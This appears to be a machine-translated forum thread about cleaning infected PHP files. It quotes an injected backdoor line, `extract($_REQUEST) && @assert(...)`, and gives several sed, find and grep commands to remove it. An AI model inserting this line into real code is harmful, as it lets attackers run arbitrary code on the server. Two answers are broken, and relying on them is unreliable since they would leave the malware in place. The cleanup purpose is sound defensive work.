我的网站被病毒感染了。该病毒在我网站的几个文件中添加了这一行。我的想法是使用终端中的唯一命令删除这行文本。
假设我有文件夹“my-folder”,里面有我的文件:“file-1.php”、“file-2.php”等。
并且,假设有多个文件被感染。
有没有命令可以在多个文件中查找并删除这行代码立刻?
要删除的文本: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;
我发现了这个,但它只适用于单个文件:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
我可以这样做吗?
答案1
您可以结合
sed
使用find
以使其递归。像这样的东西:find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
请注意,它将遍历您当前的目录树并将 sed 应用于每个现有的“*php”文件。它还将为每个更改的文件创建 .bak 备份文件(以便您可以稍后恢复以防万一)。如果不需要备份,
-i.bak
只需替换为-i
.否则,您可以稍后使用诸如find . -name "*php.bak" -delete
.此步骤不会帮助您立即修复所有问题,但它肯定会在将来节省您的时间:将包含脚本的目录保存在下面
git
(理想情况下它应该是一个完整的 CI/CD 解决方案,但您可以从 git 开始) ),这样您就可以轻松回滚/前进应用于文件的更改。
答案2
搜索包含恶意字符串的文件,并使用以下命令编辑它们sed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
我常常依靠ag
仅搜索php
带有该标志的文件--php
。如果您愿意,您可以通过以下方式完成相同的任务grep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
答案3
根据您的命令,我建议您使用“for循环”来执行此操作:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
您也可以添加任何您想要的文件“for i in file-1.php file-2.php file-n.php
答案4
您可以使用以下方法删除文件中包含特定模式的行
您可以在 for 循环中提及文件
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done